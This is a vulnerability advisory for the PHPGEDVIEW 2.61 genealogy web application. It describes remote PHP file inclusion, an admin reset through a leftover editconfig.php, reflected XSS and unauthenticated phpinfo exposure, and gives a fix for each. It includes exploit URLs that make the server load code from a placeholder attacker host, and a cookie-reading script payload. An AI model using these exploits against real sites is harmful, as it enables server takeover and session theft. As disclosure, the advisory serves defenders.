phpgedview.txt

`Tittle : Vuln in PHPGEDVIEW 2.61  
Lang : PHP   
Author : Windak  
Website: www.security.com.vn  
Version : PHPGEDVIEW 2.61 Multi-Problem  
  
Introduction :  
  
PHPGEDVIEW is program read projects GEDCOM file ( default html ) .  
  
Bug :   
  
1) Php code injection :   
  
Rick : Hight   
- Vuln in any files : functions.php, authentication_index.php ,config_gedcom.php   
  
In authentication_index.php file : at line 33 :   
  
require $PGV_BASE_DIRECTORY."authenticate.php";   
  
In functions.php file : at line 35 :   
  
require($PGV_BASE_DIRECTORY."functions_print.php");   
  
In config_gedcom.php file : at line 115 :   
  
if (file_exists($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php")) require($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php");   
else {   
$THEME_DIR = $PGV_BASE_DIRECTORY."themes/standard/";   
require($THEME_DIR."theme.php");   
  
  
Exploit :   
  
http://target/phpgedview_folder/authentication_index.php?PGV_BASE_DIRECTORY=http://attacker/   
http://target/phpgedview_folder/functions.php?PGV_BASE_DIRECTORY=http://attacker/   
http://target/phpgedview_folder/config_gedcom.php?PGV_BASE_DIRECTORY=http://attacker/   
  
Script named authenticate.php put in http://attacker/ ( or functions_print.php , theme.php put in folder /themes/standard /  
  
FIX : add firt line files have been vuln : Require (config.php);   
  
2) Config again :   
rick: Medium   
If you not deleted editconfig.php file after install then attacker can reinstall and change password administrator .  
Link : http://target/phpgedview_folder/editconfig.php   
fix : Delete editconfig.php file  
  
3) XSS :   
Rick : medium   
  
Exploit :   
http://localhost/phpgedview/search.php?action=soundex&firstname="><script>alert(document.cookie)</script>   
  
fix :   
  
Find :   
<input type="text" name="firstname" value="<?php if ($action=="soundex") print $firstname; size="20" ?>" /></td></tr>   
<tr><td><?php print $pgv_lang["lastname_search"]?></td><td>   
<input type="text" name="lastname" value="<?php if ($action=="soundex") print $lastname; size="20" ?>" /></td></tr>   
<tr><td><?php print $pgv_lang["search_place"]?></td><td>   
<input type="text" name="place" value="<?php if ($action=="soundex") print $place; size="20" ?>" /></td></tr>   
<tr><td><?php print $pgv_lang["search_year"]?></td><td>   
<input type="text" name="year" value="<?php if ($action=="soundex") print $year; size="20" ?>" /></td></tr>   
  
replace with :   
  
<input type="text" name="firstname" value="" /></td></tr>   
<tr><td><?php print $pgv_lang["lastname_search"]?></td><td>   
<input type="text" name="lastname" value="" /></td></tr>   
<tr><td><?php print $pgv_lang["search_place"]?></td><td>   
<input type="text" name="place" value="" /></td></tr>   
<tr><td><?php print $pgv_lang["search_year"]?></td><td>   
<input type="text" name="year" value="" /></td></tr>   
  
4) Show info server :   
rick : low   
I can show info server   
Link: http://target/phpgedview_folder/admin.php?action=phpinfo   
  
fix :   
Find :   
  
if (!isset($action)) $action="";   
if ($action=="phpinfo") {   
phpinfo();   
exit;   
}   
  
if (!userIsAdmin(getUserName())) {   
header("Location: login.php?url=admin.php");   
exit;   
}   
  
replace with :   
  
if (!userIsAdmin(getUserName())) {   
header("Location: login.php?url=admin.php");   
exit;   
}   
if (!isset($action)) $action="";   
if ($action=="phpinfo") {   
phpinfo();   
exit;   
}   
  
=======================================================================  
Windak - Vietnamese Security Group  
  
www.security.com.vn   
`